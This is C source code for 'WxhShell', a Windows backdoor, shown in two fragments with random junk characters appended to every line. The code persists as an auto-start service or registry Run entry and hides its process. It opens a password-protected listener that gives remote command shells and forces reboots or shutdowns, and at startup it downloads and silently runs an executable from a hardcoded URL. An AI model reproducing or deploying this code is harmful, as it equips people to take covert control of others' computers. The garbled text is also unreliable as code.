    closesocket(wsh); E8/rZ~0O~  
    ExitThread(0); ehOs9b  
    } ^b53}f8H  
    break; V_a)jJ  
    } .RRlUWu  
  // 关机 [!?wyv3  
  case 'd': { :):zNn_>`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VO`"<  
    if(Boot(SHUTDOWN)) bsO@2NP'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8sw,k   
    else { ^,7=X8Su  
    closesocket(wsh); *_)E6Y?9  
    ExitThread(0); i7eI=f-Q  
    } W (& 6  
    break; 9 qH[o?]  
    } +{rJ[J/g  
  // 获取shell am:.NG+  
  case 's': { 5}a"?5J^  
    CmdShell(wsh); \f"?Tv-C'  
    closesocket(wsh); A8dI:E+$  
    ExitThread(0); 8wF#e\Va0  
    break; &=-PRza%j  
  } o'qm82* =  
  // 退出 (fXq<GXAn/  
  case 'x': { l \}25 e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GNghB(  
    CloseIt(wsh); /PC` 0/b  
    break; #%cR%Z  
    } jzrt7p*k}  
  // 离开 'TX M{RGw  
  case 'q': { .xpmp6-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fp:3#Bh  
    closesocket(wsh); :dDxxrs"  
    WSACleanup(); aIu2>  
    exit(1); V} bM!5 H  
    break; R=35 7^[R  
        } %N{sD[^  
  } |s`Kd-'|q  
  } ?L`ZKRD  
K^ 6+Ily  
  // 提示信息 v>at/ef  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .;slrg(5F  
} Ed=}PrE  
  } & s-VSu7  
[.U^Wrd  
  return; 6_ ]8\n  
} !`C%Fkq  
e\~l!f'z  
// shell模块句柄 {8ECNQ[]  
int CmdShell(SOCKET sock) cQ,9Rnfl,  
{ ;o >WXw  
STARTUPINFO si; @ta?&Qf)  
ZeroMemory(&si,sizeof(si)); 6z]`7`G   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1NGyaI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~'[jBn)  
PROCESS_INFORMATION ProcessInfo; 3M$X:$b  
char cmdline[]="cmd"; X2P``YFV{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {_as!5l  
  return 0; B"[{]GP BY  
} bm6hZA|  
<_f`$z  
// 自身启动模式 v Xf:~G]  
int StartFromService(void) xOM_R2Md  
{ 08io<c,L  
typedef struct *+~D+_,  
{ ^;64!BaK  
  DWORD ExitStatus; %1Jd ^[W  
  DWORD PebBaseAddress; #Gp M22d'(  
  DWORD AffinityMask; \^m.dIPdO  
  DWORD BasePriority; LJ l1v  
  ULONG UniqueProcessId; TMY{OI8a  
  ULONG InheritedFromUniqueProcessId; >D3z V.R  
}   PROCESS_BASIC_INFORMATION; 5U;nhDmM  
5m 3'Gt4  
PROCNTQSIP NtQueryInformationProcess; #4q1{)=  
'^B3pR:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +{Gw9h"5g*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N&N 82OG  
<O bHf`Q  
  HANDLE             hProcess; M1gP R  
  PROCESS_BASIC_INFORMATION pbi; 9C>ynH  
qSR? ,G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V7n >,k5  
  if(NULL == hInst ) return 0; ^#7viZ*  
fOJj(0=y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )BB%4=u@~.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vs|sw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,W8au"  
:@WLGK*u.  
  if (!NtQueryInformationProcess) return 0; cUNGo%Y  
*G9 [j$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $~Tf L{$  
  if(!hProcess) return 0; `~|DoSi^d  
}JH`' &3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *XOS.$zGz  
B%y! aQep  
  CloseHandle(hProcess); Kv1vx*>  
<]c#)xg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F*X%N_n  
if(hProcess==NULL) return 0; w. vY(s  
,0FwBK  
HMODULE hMod; rBS2>?  
char procName[255]; ] 'E}   
unsigned long cbNeeded; 9yDFHz w  
p/4S$ j#Tn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BM.-X7)  
Q+HZ?V(  
  CloseHandle(hProcess); 1=ip ,D  
sD.6"w7}  
if(strstr(procName,"services")) return 1; // 以服务启动 $Llv p bl  
b_ypsGE]5!  
  return 0; // 注册表启动 =s6E/K  
} fls#LcI9>6  
xV?*!m$V%R  
// 主模块 z6Fun  
int StartWxhshell(LPSTR lpCmdLine) ]|;7R^o3|  
{ "zXGp7Q'#  
  SOCKET wsl; OM1*Iy  
BOOL val=TRUE; m^5s >hUl  
  int port=0; *|@+rbjVC  
  struct sockaddr_in door; |zT%$  
\!m!ibr  
  if(wscfg.ws_autoins) Install(); ,v|CombIc.  
$}V7(wu 6@  
port=atoi(lpCmdLine); TJE% U0Ln  
6/VNuQ_#  
if(port<=0) port=wscfg.ws_port; 8~}s 3j4  
d RHlx QUn  
  WSADATA data; S\}?zlV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #i@ACAgn;6  
6xyY+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KQ-,W8Q5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a (P^e)<  
  door.sin_family = AF_INET; vT&j{2U7XW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]DGGcUk7  
  door.sin_port = htons(port); EqVsxwa  
9=H}yiJz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F [r|Y-c]  
closesocket(wsl); _`slkw P.  
return 1; i1tVdbC]  
} bx;yHIRb  
(y%%6#bd  
  if(listen(wsl,2) == INVALID_SOCKET) { `:V}1ioX5  
closesocket(wsl); 0T1HQ  
return 1; _s2m-jm7  
} ZK%Kgk[\:~  
  Wxhshell(wsl); /*AJ+K._  
  WSACleanup(); VjC*(6<Gj  
+SO2M|ru&  
return 0; vU?b"n  
GJ.kkTMT  
} OiYNH~hv  
z|Hy>|+  
// 以NT服务方式启动 m*\B2\2gJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 44Q6vb?  
{ '" ^ B&W  
DWORD   status = 0; qPL^zM+  
  DWORD   specificError = 0xfffffff; r9+E'\  
83\ o (  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B>{|'z?%>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2f`WDL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @][ a8:Y9I  
  serviceStatus.dwWin32ExitCode     = 0; w/?nUp  
  serviceStatus.dwServiceSpecificExitCode = 0; lv=yz\  
  serviceStatus.dwCheckPoint       = 0; X!HDj<  
  serviceStatus.dwWaitHint       = 0; I/oIcQS!k  
R5m`;hF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NG!>7$@RV  
  if (hServiceStatusHandle==0) return; tZdwy>;  
/#:Rd^  
status = GetLastError(); Lhl$w'r  
  if (status!=NO_ERROR) 3Gc ,I:\  
{ $o/0A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zJz82jMm  
    serviceStatus.dwCheckPoint       = 0;  i<B:  
    serviceStatus.dwWaitHint       = 0; 6F@zCv"w  
    serviceStatus.dwWin32ExitCode     = status; HyZVr2  
    serviceStatus.dwServiceSpecificExitCode = specificError; i,mrMi c#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ERUs0na]  
    return; ;% /6Y~/  
  } GS$ZvO  
c-[Q,c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aQl?d<|+lk  
  serviceStatus.dwCheckPoint       = 0; 7(yXsVq  
  serviceStatus.dwWaitHint       = 0; }f<fgY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [?Mc4uT{  
} +vSCR (n  
6{b%Jfo  
// 处理NT服务事件,比如:启动、停止 JZs|~@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %KbBH:z05  
{ t-.2 +6"\  
switch(fdwControl) qf_h b  
{ *37LN  
case SERVICE_CONTROL_STOP: YRg=yVo 2  
  serviceStatus.dwWin32ExitCode = 0; V}vl2o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %GVEY  
  serviceStatus.dwCheckPoint   = 0; +^/Nil  
  serviceStatus.dwWaitHint     = 0; R88(dEK  
  { ~a|^?7@p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #)W8.  
  } [z W_%O kP  
  return; n@G:e-m{A  
case SERVICE_CONTROL_PAUSE: \e`6=Q%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -&qRo0^3  
  break; 3%It~o?  
case SERVICE_CONTROL_CONTINUE: V-?sek{;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P@gu~!  
  break; ?&whE!  
case SERVICE_CONTROL_INTERROGATE: DBu)xr}7A  
  break; w JapGc!   
}; GVjv** U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XV74F l  
} Q\&AlV  
Ma`   
// 标准应用程序主函数 aHBByH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }V1DyLg :  
{ K $Mx}m7l  
3Eb nZb  
// 获取操作系统版本 [(D}%+2   
OsIsNt=GetOsVer(); NZfo`iHAN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a}5vY  
O0K@M  
  // 从命令行安装 H]% mP|  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4f@havFIJ  
J]n7| L  
  // 下载执行文件 u\Nw:Uu i  
if(wscfg.ws_downexe) { "'Q"(S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gt2>nTJz.Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); eEZ|nEU  
} K B`1%=  
(&9DB   
if(!OsIsNt) { ~ERRp3Ee ?  
// 如果时win9x,隐藏进程并且设置为注册表启动 m~= ]^e  
HideProc(); DuTlYXM2^  
StartWxhshell(lpCmdLine);  2.HZ+1  
} 'U|MM;(  
else 9J-!o]f .b  
  if(StartFromService()) NDs]}5#   
  // 以服务方式启动 9 NGeh*`  
  StartServiceCtrlDispatcher(DispatchTable); Z4wrXss~  
else p%1xj2 ?nN  
  // 普通方式启动 7$q2v=tH_  
  StartWxhshell(lpCmdLine); tF#b&za  
s8f3i\1  
return 0; 6T{o3wc;  
} h 7(H%(^_  
]X >QLD0W  
+(QMy&DtS  
f{+LCMbC6  
=========================================== >/kPnpJ  
H 'WFORso[  
g6[/F-3Qlf  
h-?q6O/|  
0I(GB;E  
oP|pOs\$p  
" aIn)']  
4y]:Gq z~  
#include <stdio.h> 'b=eC  
#include <string.h> < tu[cA>  
#include <windows.h> '?vgp  
#include <winsock2.h> T>%uRK$  
#include <winsvc.h> /VhE<}OtH  
#include <urlmon.h> ;EE&~&*w  
wB1|r{  
#pragma comment (lib, "Ws2_32.lib") dCoi>PO  
#pragma comment (lib, "urlmon.lib") ^B&ahk  
^ RcIE (  
#define MAX_USER   100 // 最大客户端连接数 ReHd~G9  
#define BUF_SOCK   200 // sock buffer ZZ]OR;8  
#define KEY_BUFF   255 // 输入 buffer @MlU!oR&  
<WHs  
#define REBOOT     0   // 重启 "a0u-}/D  
#define SHUTDOWN   1   // 关机 ~kSnXJv  
f}9PEpa,Z  
#define DEF_PORT   5000 // 监听端口 H/^TXqQ8  
lH,]ZA./  
#define REG_LEN     16   // 注册表键长度 +AgkPMy  
#define SVC_LEN     80   // NT服务名长度 *Lb(urf  
0?5%  
// 从dll定义API Fl#VKU3h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n&3iv ^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gw\G+T?M-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'sjJSc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =7J|KoKK  
RV#uy]  
// wxhshell配置信息 Zs3]|bUR  
struct WSCFG { @T,H.#bL  
  int ws_port;         // 监听端口 7fN&Q~.  
  char ws_passstr[REG_LEN]; // 口令 7&RJDa:a7T  
  int ws_autoins;       // 安装标记, 1=yes 0=no PPj6QJ]R0  
  char ws_regname[REG_LEN]; // 注册表键名 cvs"WX3  
  char ws_svcname[REG_LEN]; // 服务名 A&}nRP9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r 0?hX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p~d)2TC4#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }VGI Y>v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u':0"5}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :m)Rmwn_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 giSG 6'WA  
~*cY&  9  
}; ]UCk_zWsn1  
. tH35/r  
// default Wxhshell configuration k`2B9,z  
struct WSCFG wscfg={DEF_PORT, yZ?_q$4kEI  
    "xuhuanlingzhe", ax{-Qi7z-+  
    1, lU50.7<08  
    "Wxhshell", f@;>M9)<  
    "Wxhshell", Hs4zJk  
            "WxhShell Service", ?%za:{  
    "Wrsky Windows CmdShell Service", r"u(!~R  
    "Please Input Your Password: ", 'Qs 3  
  1, !s[j1=y  
  "http://www.wrsky.com/wxhshell.exe", 6(<~1{ X%  
  "Wxhshell.exe" iM\ Z J6  
    }; Y9H *S*n  
vRb(eg  
// 消息定义模块 tN'- qdm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (;Q <@PZg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &6|^~(P?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {HRxyAI!  
char *msg_ws_ext="\n\rExit."; dl7p1Cr  
char *msg_ws_end="\n\rQuit."; *F8 uu.  
char *msg_ws_boot="\n\rReboot..."; a9@l8{)RX  
char *msg_ws_poff="\n\rShutdown..."; J,^pt Ql  
char *msg_ws_down="\n\rSave to "; K3r>nGLBo  
P B6/<n9#  
char *msg_ws_err="\n\rErr!"; H:{(CY?t  
char *msg_ws_ok="\n\rOK!"; /P8eI3R  
i:Z.;z$1  
char ExeFile[MAX_PATH]; Bn#HJ17/#  
int nUser = 0; ]N(zom_0d  
HANDLE handles[MAX_USER]; r/q1&*T  
int OsIsNt; cV,03]x  
YZ%f7BUk  
SERVICE_STATUS       serviceStatus; fssL'DD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4KSP81}/\  
$OFFH[_z  
// 函数声明 1:{O RX[;  
int Install(void); jXDzjt94J  
int Uninstall(void); zk 'e6  
int DownloadFile(char *sURL, SOCKET wsh); 4qSS<SqY  
int Boot(int flag); qYu!:xa8  
void HideProc(void); (krG0S:0Q  
int GetOsVer(void); RH'F<!p  
int Wxhshell(SOCKET wsl); TNPGw!  
void TalkWithClient(void *cs); a+a%}76N  
int CmdShell(SOCKET sock); >A'!T'"~  
int StartFromService(void); Wn,g!rB^@  
int StartWxhshell(LPSTR lpCmdLine); | C2.Zay  
CIik@O*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;,B@84'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {}_Oo%IVGK  
n,Mw# r?y  
// 数据结构和表定义 Y)j,(9  
SERVICE_TABLE_ENTRY DispatchTable[] = 5$"[gdt)T  
{ ={i&F  
{wscfg.ws_svcname, NTServiceMain}, +$mskj0s  
{NULL, NULL} ]MA)=' ~  
}; bQN4ozSi  
f+*2K^B  
// 自我安装 O"-PNF,J  
int Install(void) x]J-q5  
{ W lLZtgq  
  char svExeFile[MAX_PATH]; lSbM)gL  
  HKEY key; 36Z`.E>~L  
  strcpy(svExeFile,ExeFile); ^nm!NL{z^  
x#gmliF  
// 如果是win9x系统,修改注册表设为自启动 AO7qs:+  
if(!OsIsNt) { +q=jB-eIx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S~(VcC$K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <$3nD b-  
  RegCloseKey(key); . ;@) 5"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B?YfOSF=5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W%XS0k}x  
  RegCloseKey(key); gMK3o8B/  
  return 0; dv9Pb5i  
    } nu9k{owB T  
  } .idl@%  
} -I-& <+7v  
else { +VW]%6 +  
2Ku#j ('  
// 如果是NT以上系统,安装为系统服务 <sFf'W_3{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yExyx?j.  
if (schSCManager!=0) xY'YbHFz  
{ "N/K*  
  SC_HANDLE schService = CreateService 1H[;7@o$e  
  ( fu "z%h]   
  schSCManager, vAhO!5]>\  
  wscfg.ws_svcname, :pjK\  
  wscfg.ws_svcdisp, gLxy RbVI  
  SERVICE_ALL_ACCESS, hE#8_34%s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %Kfa|&'zV  
  SERVICE_AUTO_START, _C8LK.M#j  
  SERVICE_ERROR_NORMAL, K$vRk5U  
  svExeFile, +bd{W]={  
  NULL, MGC0^voe  
  NULL, ZXDMbMD  
  NULL, COL8YY  
  NULL, [^=8k2  
  NULL k'q !MZU  
  ); 9C~GL,uKs  
  if (schService!=0) h=y(2xA  
  { ^yZSCrPGI  
  CloseServiceHandle(schService); b`Ek;nYek  
  CloseServiceHandle(schSCManager); hgr ,v"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qhf/B)  
  strcat(svExeFile,wscfg.ws_svcname); G}xBYc0b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N)y;owgo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xs`gN  
  RegCloseKey(key); %7wzGtM]ps  
  return 0; 2}Plr{s9  
    } AX Jj"hN  
  } vCo}-b-j  
  CloseServiceHandle(schSCManager); W",jZ"7  
} vgZPDf|  
} ghQsS|)p.  
0 S8{VZpy  
return 1; ;RZa<2  
} ^a5~FI:  
jtpNo~O  
// 自我卸载 .7Bav5 ;  
int Uninstall(void) kV%y%l(6  
{ %a^!~qV  
  HKEY key; P3FpU<OBwp  
] r+I D  
if(!OsIsNt) { 4IE#dwZW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W&[9x%Ba  
  RegDeleteValue(key,wscfg.ws_regname); Jpnp'  
  RegCloseKey(key); .@Sh,^v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RXvcy<  
  RegDeleteValue(key,wscfg.ws_regname); H$iMP.AK  
  RegCloseKey(key); (X'K)*G#  
  return 0; }33Au-%*  
  } .%h_W\M<l  
} n ,%^R  
} ",GC\#^v  
else { mYRR==iDL  
r~a}B.pj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =n?@My?;  
if (schSCManager!=0) H t$%)j9  
{ au~gJW-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ArKrsI#H-  
  if (schService!=0) zMg^2{0L  
  { ~2 ;y4%K  
  if(DeleteService(schService)!=0) { Dp'af4+%$  
  CloseServiceHandle(schService); ;b2>y>?[  
  CloseServiceHandle(schSCManager); Raqr VC  
  return 0; TU6EE  
  } ~a)2 0  
  CloseServiceHandle(schService); r|$g((g  
  } KiHAm|,  
  CloseServiceHandle(schSCManager);  7cQw?C  
} ht!:e>z&4  
} !}m 8]&  
}E_zW.{!  
return 1; j+v)I=  
} 7cSvAX0Z.  
0drc^rj !  
// 从指定url下载文件 >CA1Ub&ls  
int DownloadFile(char *sURL, SOCKET wsh) M/ \~  
{ BNLall  
  HRESULT hr; P l ,M>IQ  
char seps[]= "/"; _+7f+eB  
char *token; N#qoKY(#  
char *file; wOSNlbQ5jl  
char myURL[MAX_PATH]; O3^@"IY  
char myFILE[MAX_PATH]; 9$t@Gmn  
wIPDeC4  
strcpy(myURL,sURL); VJPPHJ[-  
  token=strtok(myURL,seps); UcIR0BYa  
  while(token!=NULL) of<OOh%3  
  { DvKMb-*S  
    file=token; C u5 - w  
  token=strtok(NULL,seps); U_04QwhK7  
  } A]slssE+  
N* QI>kzU  
GetCurrentDirectory(MAX_PATH,myFILE); 4^A'A.0  
strcat(myFILE, "\\"); !b Km}1T  
strcat(myFILE, file); <Z wEdq  
  send(wsh,myFILE,strlen(myFILE),0);  yw^, @'  
send(wsh,"...",3,0); v7RDoO]I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TR;-xst@  
  if(hr==S_OK) <]J5AdJ  
return 0; [:Y^0[2  
else ijT^gsLL  
return 1; ?/g(Y  
R2gax;  
} >m46tfoM  
06r cW `  
// 系统电源模块 IrK )N  
int Boot(int flag) ENr&k(>0HQ  
{ JD .z}2+  
  HANDLE hToken; kSrzIq<xre  
  TOKEN_PRIVILEGES tkp; @:8|tJu8b  
7hQl,v< 5  
  if(OsIsNt) { awtzt?VtLh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6&cU*Io@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \^D`Hvg  
    tkp.PrivilegeCount = 1; o qTh )  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q2Dg~et  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GH!#"Sl8Z  
if(flag==REBOOT) { -. G0k*[d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (["u"m%  
  return 0; f+RDvgkKU  
} ?J AzN  
else { 9w|q':<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3H2'HO  
  return 0; NiF*h~ q  
} /vU31_eZt  
  } A1@a:P=  
  else { C.Yz<?;S  
if(flag==REBOOT) { 0 $r{h}[^c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eAEVpC2  
  return 0; UbXz`i  
} xC]/i(+bA  
else { IB<ihk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g>{=R|uO5  
  return 0; +-i@R%  
} [o "@*kf  
} q}lSnWY[[  
QS_xOQ '  
return 1; 0o`o'ZV=c  
} /6fsh7 \  
h&P[9:LH  
// win9x进程隐藏模块 N~_gT Jr~P  
void HideProc(void) :8FH{sqR  
{ 4i\n1RW  
j  jQ=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S45jY=)z  
  if ( hKernel != NULL ) ]](hwj  
  { ]H*=Z:riu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )ALcmC?!#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?UzHQr  
    FreeLibrary(hKernel); O@VmV>m  
  } Ki2_Nh>tM  
j yE+?4w;  
return; |b'AWI81D  
} w67Pw  
H}/1/5 L  
// 获取操作系统版本 TOs|f8ay  
int GetOsVer(void) b?l\Q Mvi  
{ G4~J+5m k  
  OSVERSIONINFO winfo; >2r/d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gvX7+F=}B  
  GetVersionEx(&winfo); 60m1 >"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x[E`2_Ff0  
  return 1; U8z,N1]r*`  
  else YZd4% zF  
  return 0; x1Uj4*Au  
} ;%&@^;@k%  
4_eq@'9-q  
// 客户端句柄模块 BR*U9K|W  
int Wxhshell(SOCKET wsl) xo}hu %XL  
{ +Aq}BjD#  
  SOCKET wsh; te_D  ,  
  struct sockaddr_in client; bZ=d!)%P-{  
  DWORD myID; G9]GK+@&F  
'?nhpT^  
  while(nUser<MAX_USER) u<[Y6m  
{ l%fl=i~oN  
  int nSize=sizeof(client); ;iWCV& >w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W NCdk$  
  if(wsh==INVALID_SOCKET) return 1; L=>N#QR7  
:v+ 39  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o_S8fHqjt  
if(handles[nUser]==0) b^1!_1c  
  closesocket(wsh); &j$k58mX  
else o{/D:B  
  nUser++; y_w4ei  
  } l)zS}"F,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %NuS!v>  
Sn0 Gw  
  return 0; UCFef,VW  
} +Z+]Tqo  
2X:n75()  
// 关闭 socket S&yCclM  
void CloseIt(SOCKET wsh) :(Gg]Z9^8  
{ QAr1U7{(.  
closesocket(wsh); 2KU [Yd  
nUser--; nX~sVG{Q  
ExitThread(0); BX?Si1c  
} /h;X1Htx}  
?%?@?W>s@  
// 客户端请求句柄 awUIYAgJ3  
void TalkWithClient(void *cs) ]Kd:ZmJ  
{ 9tJiIr8i  
'{EDdlX  
  SOCKET wsh=(SOCKET)cs; )%0#XC^/X5  
  char pwd[SVC_LEN]; fz%urbJR  
  char cmd[KEY_BUFF]; dPS}\&1  
char chr[1]; y37@4p^@9  
int i,j; W,vb7v'  
r'j*f"uAm  
  while (nUser < MAX_USER) { %',. K)IR  
$?7}4u,  
if(wscfg.ws_passstr) { \ FA7 +Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N. uw2Y%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [b`k\~N4r  
  //ZeroMemory(pwd,KEY_BUFF); yZ K j>P1  
      i=0; 6+>q1,<  
  while(i<SVC_LEN) { Gk<h_1WWK  
FQ_4a}UOjX  
  // 设置超时 ke/QFN-`  
  fd_set FdRead; 9G&l{7=  
  struct timeval TimeOut; <)&;9C  
  FD_ZERO(&FdRead); <~]s+"oVc  
  FD_SET(wsh,&FdRead); 3]T2Zp&;  
  TimeOut.tv_sec=8; SOd(& >  
  TimeOut.tv_usec=0; Rh%x5RFFc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P*_Q8I)Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y'{0|Xj  
6j0!$q^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nt/>RCh  
  pwd=chr[0]; =OCHV+m  
  if(chr[0]==0xd || chr[0]==0xa) { /P320[B}m&  
  pwd=0; 4e* rBTl  
  break; 8{'L:yzMY  
  } #=h~Lr'UH  
  i++; Q\}5q3  
    } hW]:CIqk  
r@ ]{`qA  
  // 如果是非法用户,关闭 socket A+AqlM+$i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 94A re<  
} U:p<pTnMR  
 \:Q)Ef  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y~,N,>nITu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hl8[A-d(R  
zUWu5JI  
while(1) { 8|gwH2 st~  
@hp@*$#& 9  
  ZeroMemory(cmd,KEY_BUFF); HI55):Eb  
EP*"=_  
      // 自动支持客户端 telnet标准   7D<M\l8G  
  j=0; 5G|(od3  
  while(j<KEY_BUFF) { x)s`j(pYC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fq:BRgCE  
  cmd[j]=chr[0]; S'q (Qo  
  if(chr[0]==0xa || chr[0]==0xd) { 0I1bY]*  
  cmd[j]=0; E`$d!7O  
  break; b8(94t|;U  
  } sRqFsj}3e  
  j++; bNi\+=v<Ys  
    } ?FJU>+{">  
Ahm*_E2E  
  // 下载文件 d=`hFwD9  
  if(strstr(cmd,"http://")) { ngE5$}UM  
